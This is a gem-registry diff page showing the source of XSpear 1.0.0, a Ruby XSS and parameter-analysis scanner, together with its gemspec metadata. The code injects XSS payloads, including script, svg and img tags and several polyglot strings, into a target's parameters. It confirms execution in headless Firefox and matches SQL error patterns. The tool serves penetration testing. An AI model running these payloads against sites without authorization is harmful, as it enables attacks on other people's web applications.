XSpear 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
data/lib/XSpear.rb ADDED
@@ -0,0 +1,289 @@
1
+ require "XSpear/version"
2
+ require "XSpear/banner"
3
+ require "XSpear/log"
4
+ require "XSpear/XSpearRepoter"
5
+ require 'net/http'
6
+ require 'uri'
7
+ require 'optparse'
8
+ require 'colorize'
9
+ require "selenium-webdriver"
10
+
11
+ module XSpear
12
+ class Error < StandardError; end
13
+ end
14
+
15
+ class XspearScan
16
+ def initialize(url, data, headers, params, thread, output, verbose)
17
+ @url = url
18
+ @data = data
19
+ @headers = headers
20
+ if params.nil?
21
+ @params = params
22
+ else
23
+ @params = params.split(",")
24
+ end
25
+ @thread = thread
26
+ @output = output
27
+ @verbose = verbose
28
+ @report = XspearRepoter.new @url, Time.now
29
+ end
30
+
31
+ class ScanCallbackFunc
32
+ def initialize(url, method, query, response)
33
+ @url = url
34
+ @method = method
35
+ @query = query
36
+ @response = response
37
+ # self.run
38
+ end
39
+
40
+ def run
41
+ # Override callback function..
42
+
43
+ # return type: Array(state, message)
44
+ # + state: i(INFO), v(VULN), s(SYSTEM)
45
+ # + message: your message
46
+
47
+ # e.g
48
+ # return "v", "reflected xss with #{query}"
49
+ end
50
+ end
51
+
52
+ class CallbackStringMatch < ScanCallbackFunc
53
+ def run
54
+ if @response.body.include? @query
55
+ [true, "reflected #{@query}"]
56
+ else
57
+ [false, "not reflected #{@query}"]
58
+ end
59
+ end
60
+ end
61
+
62
+ class CallbackErrorPatternMatch < ScanCallbackFunc
63
+ def run
64
+ info = "Found"
65
+ if @response.body.to_s.match(/(SQL syntax.*MySQL|Warning.*mysql_.*|MySqlException \(0x|valid MySQL result|check the manual that corresponds to your (MySQL|MariaDB) server version|MySqlClient\.|com\.mysql\.jdbc\.exceptions)/i)
66
+ info = info + "MYSQL "
67
+ end
68
+ if @response.body.to_s.match(/(Driver.* SQL[\-\_\ ]*Server|OLE DB.* SQL Server|\bSQL Server.*Driver|Warning.*mssql_.*|\bSQL Server.*[0-9a-fA-F]{8}|[\s\S]Exception.*\WSystem\.Data\.SqlClient\.|[\s\S]Exception.*\WRoadhouse\.Cms\.|Microsoft SQL Native Client.*[0-9a-fA-F]{8})/i)
69
+ info = info + "MSSQL "
70
+ end
71
+ if @response.body.to_s.match(/(\bORA-\d{5}|Oracle error|Oracle.*Driver|Warning.*\Woci_.*|Warning.*\Wora_.*)/i)
72
+ info = info + "Oracle "
73
+ end
74
+ if @response.body.to_s.match(/(PostgreSQL.*ERROR|Warning.*\Wpg_.*|valid PostgreSQL result|Npgsql\.|PG::SyntaxError:|org\.postgresql\.util\.PSQLException|ERROR:\s\ssyntax error at or near)/i)
75
+ info = info + "Postgres "
76
+ end
77
+ if @response.body.to_s.match(/(Microsoft Access (\d+ )?Driver|JET Database Engine|Access Database Engine|ODBC Microsoft Access)/i)
78
+ info = info + "MSAccess "
79
+ end
80
+ if @response.body.to_s.match(/(SQLite\/JDBCDriver|SQLite.Exception|System.Data.SQLite.SQLiteException|Warning.*sqlite_.*|Warning.*SQLite3::|\[SQLITE_ERROR\])/i)
81
+ info = info + "SQLite "
82
+ end
83
+ if @response.body.to_s.match(/(Warning.*sybase.*|Sybase message|Sybase.*Server message.*|SybSQLException|com\.sybase\.jdbc)/i)
84
+ info = info + "SyBase "
85
+ end
86
+ if @response.body.to_s.match(/(Warning.*ingres_|Ingres SQLSTATE|Ingres\W.*Driver)/i)
87
+ info = info + "Ingress "
88
+ end
89
+
90
+ if info.length > 5
91
+ [true, "#{@info}"]
92
+ else
93
+ [false, "#{@info}"]
94
+ end
95
+ end
96
+ end
97
+
98
+ class CallbackXSSSelenium < ScanCallbackFunc
99
+ def run
100
+ begin
101
+ options = Selenium::WebDriver::Firefox::Options.new(args: ['-headless'])
102
+ driver = Selenium::WebDriver.for(:firefox, options: options)
103
+ if @method == "GET"
104
+ begin
105
+ driver.get(@url+"?"+@query)
106
+ alert = driver.switch_to().alert()
107
+ if alert.text.to_s == "45"
108
+ driver.quit
109
+ return [true, "found alert/prompt/confirm (45) in selenium!! #{@query}\n => "]
110
+ else
111
+ driver.quit
112
+ return [true, "found alert/prompt/confirm event in selenium #{@query}\n =>"]
113
+ end
114
+ rescue Selenium::WebDriver::Error::UnexpectedAlertOpenError => e
115
+ driver.quit
116
+ return [true, "found alert/prompt/confirm error base in selenium #{@query}\n =>"]
117
+ rescue => e
118
+ driver.quit
119
+ return [false, "not found alert/prompt/confirm event #{@query}\n =>"]
120
+ end
121
+ end
122
+ rescue => e
123
+ log('s', "Error Selenium : #{e}")
124
+ end
125
+ end
126
+ end
127
+
128
+
129
+ def run
130
+ r = []
131
+ log('s', 'creating a test query.')
132
+ r.push makeQueryPattern('d', 'XsPeaR"', 'XsPeaR"', 'i', "Found SQL Error Pattern", CallbackErrorPatternMatch)
133
+ r.push makeQueryPattern('r', 'rEfe6', 'rEfe6', 'i', 'reflected parameter', CallbackStringMatch)
134
+ r.push makeQueryPattern('f', 'XsPeaR>', 'XsPeaR>', 'i', "not filtered "+">".blue, CallbackStringMatch)
135
+ r.push makeQueryPattern('f', '<XsPeaR', '<XsPeaR', 'i', "not filtered "+"<".blue, CallbackStringMatch)
136
+ r.push makeQueryPattern('f', 'XsPeaR"', 'XsPeaR"', 'i', "not filtered "+'"'.blue, CallbackStringMatch)
137
+ r.push makeQueryPattern('f', "XsPeaR'", "XsPeaR'", 'i', "not filtered "+"'".blue, CallbackStringMatch)
138
+ r.push makeQueryPattern('f', "XsPeaR`", "XsPeaR`", 'i', "not filtered "+"`".blue, CallbackStringMatch)
139
+ r.push makeQueryPattern('f', 'XsPeaR;', 'XsPeaR;', 'i', "not filtered "+";".blue, CallbackStringMatch)
140
+ r.push makeQueryPattern('f', 'XsPeaR|', 'XsPeaR|', 'i', "not filtered "+"|".blue, CallbackStringMatch)
141
+ r.push makeQueryPattern('f', 'XsPeaR(', 'XsPeaR(', 'i', "not filtered "+"(".blue, CallbackStringMatch)
142
+ r.push makeQueryPattern('f', 'XsPeaR)', 'XsPeaR)', 'i', "not filtered "+")".blue, CallbackStringMatch)
143
+ r.push makeQueryPattern('f', 'XsPeaR{', 'XsPeaR{', 'i', "not filtered "+"{".blue, CallbackStringMatch)
144
+ r.push makeQueryPattern('f', 'XsPeaR}', 'XsPeaR}', 'i', "not filtered "+"}".blue, CallbackStringMatch)
145
+ r.push makeQueryPattern('f', 'XsPeaR[', 'XsPeaR[', 'i', "not filtered "+"[".blue, CallbackStringMatch)
146
+ r.push makeQueryPattern('f', 'XsPeaR]', 'XsPeaR]', 'i', "not filtered "+"]".blue, CallbackStringMatch)
147
+ r.push makeQueryPattern('f', 'XsPeaR:', 'XsPeaR:', 'i', "not filtered "+":".blue, CallbackStringMatch)
148
+ r.push makeQueryPattern('f', 'XsPeaR.', 'XsPeaR.', 'i', "not filtered "+".".blue, CallbackStringMatch)
149
+ r.push makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch)
150
+ r.push makeQueryPattern('f', 'XsPeaR+', 'XsPeaR+', 'i', "not filtered "+"+".blue, CallbackStringMatch)
151
+ r.push makeQueryPattern('f', 'XsPeaR-', 'XsPeaR-', 'i', "not filtered "+"-".blue, CallbackStringMatch)
152
+ r.push makeQueryPattern('f', 'XsPeaR=', 'XsPeaR=', 'i', "not filtered "+"=".blue, CallbackStringMatch)
153
+ r.push makeQueryPattern('f', 'XsPeaR$', 'XsPeaR$', 'i', "not filtered "+"$".blue, CallbackStringMatch)
154
+ r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch)
155
+ r.push makeQueryPattern('x', '<svg/onload=alert(45)>', '<svg/onload=alert(45)>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch)
156
+ r.push makeQueryPattern('x', '<img/src onerror=alert(45)>', '<img/src onerror=alert(45)>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch)
157
+ r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'v', "injected "+"<script>alert(45)</script>".red, CallbackXSSSelenium)
158
+ r.push makeQueryPattern('x', '\'"><svg/onload=alert(45)>', '\'"><svg/onload=alert(45)>', 'v', "injected "+"<svg/onload=alert(45)>".red, CallbackXSSSelenium)
159
+ r.push makeQueryPattern('x', 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(45) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(45)//>\x3e', '\'"><svg/onload=alert(45)>', 'v', "running "+"XSS Polyglot payload".red, CallbackXSSSelenium)
160
+ r.push makeQueryPattern('x', 'javascript:"/*`/*\"/*\' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert(45)//-->&lt;<sVg/onload=alert`45`>', '\'"><svg/onload=alert(45)>', 'v', "running "+"XSS Polyglot payload".red, CallbackXSSSelenium)
161
+ r.push makeQueryPattern('x', 'javascript:"/*\'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert(45)//>', '\'"><svg/onload=alert(45)>', 'v', "running "+"XSS Polyglot payload".red, CallbackXSSSelenium)
162
+ r = r.flatten
163
+ r = r.flatten
164
+ log('s', "test query generation is complete. [#{r.length} query]")
165
+ log('s', "starting test and analysis. [#{@thread} threads]")
166
+
167
+ threads = []
168
+ r.each_slice(@thread) do |jobs|
169
+ jobs.map do |node|
170
+ Thread.new do
171
+ begin
172
+ result, res = task(node[:query], node[:inject], node[:pattern], node[:callback])
173
+ # p result.body
174
+ if @verbose.to_i > 2
175
+ log('d', "[#{res.code}] #{node[:query]} in #{node[:inject]} => #{result[1]}")
176
+ end
177
+ if result[0]
178
+ log(node[:category], (result[1]).to_s.yellow+"[param: #{node[:param]}][#{node[:desc]}]")
179
+ @report.add_issue(node[:category],node[:type],node[:param],node[:query],node[:pattern],node[:desc])
180
+ else
181
+ log('d', (result[1]).to_s)
182
+ end
183
+ rescue => e
184
+ end
185
+ end
186
+ end.each(&:join)
187
+ end
188
+ @report.set_endtime
189
+ log('s', "finish scan. the report is being generated..")
190
+ if @output == 'json'
191
+ puts @report.to_json
192
+ else
193
+ @report.to_cli
194
+ end
195
+ end
196
+
197
+ def makeQueryPattern(type, payload, pattern, category, desc, callback)
198
+ # type: [r]eflected param
199
+ # [f]ilted rule
200
+ # [x]ss
201
+ # [s]tatic
202
+ # [d]ynamic
203
+
204
+ result = []
205
+ if type == 's'
206
+ result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": @url, "pattern": pattern, "desc": desc, "category": category, "callback": callback)
207
+ unless @data.nil?
208
+ result.push("inject": 'body',"param":"STATIC" ,"type": type, "query": @url, "pattern": pattern, "desc": desc, "category": category, "callback": callback)
209
+ end
210
+ p result
211
+ else
212
+ uri = URI.parse(@url)
213
+ begin
214
+ params = URI.decode_www_form(uri.query)
215
+ params.each do |p|
216
+ if @params.nil? || (@params.include? p[0] if !@params.nil?)
217
+ dparams = params
218
+ dparams.each do |d|
219
+ d[1] = p[1] + payload if p[0] == d[0]
220
+ end
221
+ result.push("inject": 'url',"param":p[0] ,"type": type, "query": URI.encode_www_form(dparams), "pattern": pattern, "desc": desc, "category": category, "callback": callback)
222
+ end
223
+ end
224
+ unless @data.nil?
225
+ params = URI.decode_www_form(@data)
226
+ params.each do |p|
227
+ if @params.nil? || (@params.include? p[0] if !@params.nil?)
228
+ dparams = params
229
+ dparams.each do |d|
230
+ d[1] = p[1] + payload if p[0] == d[0]
231
+ end
232
+ result.push("inject": 'body', "param":p[0], "type": type, "query": URI.encode_www_form(dparams), "pattern": pattern, "desc": desc, "category": category, "callback": callback)
233
+ end
234
+ end
235
+ end
236
+ rescue StandardError
237
+ result.push("inject": 'url',"param":"error", "type": type, "query": '', "pattern": pattern, "desc": desc, "category": category, "callback": callback)
238
+ end
239
+ result
240
+ end
241
+ end
242
+
243
+
244
+ def task(query, injected, pattern, callback)
245
+ begin
246
+ uri = URI.parse(@url)
247
+ request = nil
248
+ method = "GET"
249
+ uri.query = query if injected == 'url'
250
+
251
+
252
+ if @data.nil?
253
+ # GET
254
+ request = Net::HTTP::Get.new(uri.request_uri)
255
+ else
256
+ # POST
257
+ request = Net::HTTP::Post.new(uri.request_uri)
258
+ request.body = query if injected == 'body'
259
+ method = "POST"
260
+ end
261
+
262
+
263
+ Net::HTTP.start(uri.host, uri.port,
264
+ use_ssl: uri.scheme == 'https') do |http|
265
+
266
+ request['Accept'] = '*/*'
267
+ request['Connection'] = 'keep-alive'
268
+ request['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0'
269
+ unless @headers.nil?
270
+ @headers.split(';').each do |header|
271
+ begin
272
+ c = header.split(': ')
273
+ request[c[0]] = c[1] unless c.nil?
274
+ rescue StandardError
275
+ # pass
276
+ end
277
+ end
278
+ end
279
+ response = http.request(request)
280
+ result = callback.new(uri.to_s, method, pattern, response).run
281
+ # result = result.run
282
+ # p request.headers
283
+ return result, response
284
+ end
285
+ end
286
+ rescue => e
287
+ puts e
288
+ end
289
+ end
metadata ADDED
@@ -0,0 +1,168 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: XSpear
3
+ version: !ruby/object:Gem::Version
4
+ version: 1.0.0
5
+ platform: ruby
6
+ authors:
7
+ - hahwul
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date:
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: colorize
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - '='
18
+ - !ruby/object:Gem::Version
19
+ version: 0.8.1
20
+ type: :runtime
21
+ prerelease: false
22
+ version_requirements: !ruby/object:Gem::Requirement
23
+ requirements:
24
+ - - '='
25
+ - !ruby/object:Gem::Version
26
+ version: 0.8.1
27
+ - !ruby/object:Gem::Dependency
28
+ name: selenium-webdriver
29
+ requirement: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - '='
32
+ - !ruby/object:Gem::Version
33
+ version: 3.142.3
34
+ type: :runtime
35
+ prerelease: false
36
+ version_requirements: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - '='
39
+ - !ruby/object:Gem::Version
40
+ version: 3.142.3
41
+ - !ruby/object:Gem::Dependency
42
+ name: colorize
43
+ requirement: !ruby/object:Gem::Requirement
44
+ requirements:
45
+ - - '='
46
+ - !ruby/object:Gem::Version
47
+ version: 0.8.1
48
+ type: :development
49
+ prerelease: false
50
+ version_requirements: !ruby/object:Gem::Requirement
51
+ requirements:
52
+ - - '='
53
+ - !ruby/object:Gem::Version
54
+ version: 0.8.1
55
+ - !ruby/object:Gem::Dependency
56
+ name: selenium-webdriver
57
+ requirement: !ruby/object:Gem::Requirement
58
+ requirements:
59
+ - - '='
60
+ - !ruby/object:Gem::Version
61
+ version: 3.142.3
62
+ type: :development
63
+ prerelease: false
64
+ version_requirements: !ruby/object:Gem::Requirement
65
+ requirements:
66
+ - - '='
67
+ - !ruby/object:Gem::Version
68
+ version: 3.142.3
69
+ - !ruby/object:Gem::Dependency
70
+ name: bundler
71
+ requirement: !ruby/object:Gem::Requirement
72
+ requirements:
73
+ - - "~>"
74
+ - !ruby/object:Gem::Version
75
+ version: '2.0'
76
+ type: :development
77
+ prerelease: false
78
+ version_requirements: !ruby/object:Gem::Requirement
79
+ requirements:
80
+ - - "~>"
81
+ - !ruby/object:Gem::Version
82
+ version: '2.0'
83
+ - !ruby/object:Gem::Dependency
84
+ name: rake
85
+ requirement: !ruby/object:Gem::Requirement
86
+ requirements:
87
+ - - "~>"
88
+ - !ruby/object:Gem::Version
89
+ version: '10.0'
90
+ type: :development
91
+ prerelease: false
92
+ version_requirements: !ruby/object:Gem::Requirement
93
+ requirements:
94
+ - - "~>"
95
+ - !ruby/object:Gem::Version
96
+ version: '10.0'
97
+ - !ruby/object:Gem::Dependency
98
+ name: rspec
99
+ requirement: !ruby/object:Gem::Requirement
100
+ requirements:
101
+ - - "~>"
102
+ - !ruby/object:Gem::Version
103
+ version: '3.0'
104
+ type: :development
105
+ prerelease: false
106
+ version_requirements: !ruby/object:Gem::Requirement
107
+ requirements:
108
+ - - "~>"
109
+ - !ruby/object:Gem::Version
110
+ version: '3.0'
111
+ description: XSpear is XSS Scanner on ruby gems
112
+ email:
113
+ - hahwul@gmail.com
114
+ executables:
115
+ - XSpear
116
+ extensions: []
117
+ extra_rdoc_files: []
118
+ files:
119
+ - ".gitignore"
120
+ - ".idea/XSpear.iml"
121
+ - ".idea/encodings.xml"
122
+ - ".idea/misc.xml"
123
+ - ".idea/modules.xml"
124
+ - ".idea/workspace.xml"
125
+ - ".rspec"
126
+ - ".travis.yml"
127
+ - CODE_OF_CONDUCT.md
128
+ - Gemfile
129
+ - LICENSE.txt
130
+ - README.md
131
+ - Rakefile
132
+ - XSpear-1.0.0.gem
133
+ - XSpear.gemspec
134
+ - bin/console
135
+ - bin/setup
136
+ - exe/XSpear
137
+ - lib/XSpear.rb
138
+ - lib/XSpear/XSpearRepoter.rb
139
+ - lib/XSpear/banner.rb
140
+ - lib/XSpear/log.rb
141
+ - lib/XSpear/version.rb
142
+ homepage: https://github.com/hahwul/XSpear
143
+ licenses:
144
+ - MIT
145
+ metadata:
146
+ homepage_uri: https://github.com/hahwul/XSpear
147
+ source_code_uri: https://github.com/hahwul/XSpear
148
+ changelog_uri: https://github.com/hahwul/XSpear
149
+ post_install_message:
150
+ rdoc_options: []
151
+ require_paths:
152
+ - lib
153
+ required_ruby_version: !ruby/object:Gem::Requirement
154
+ requirements:
155
+ - - ">="
156
+ - !ruby/object:Gem::Version
157
+ version: '0'
158
+ required_rubygems_version: !ruby/object:Gem::Requirement
159
+ requirements:
160
+ - - ">="
161
+ - !ruby/object:Gem::Version
162
+ version: '0'
163
+ requirements: []
164
+ rubygems_version: 3.0.3
165
+ signing_key:
166
+ specification_version: 4
167
+ summary: Powerfull XSS Scanning and Parameter Analysis tool&gem
168
+ test_files: []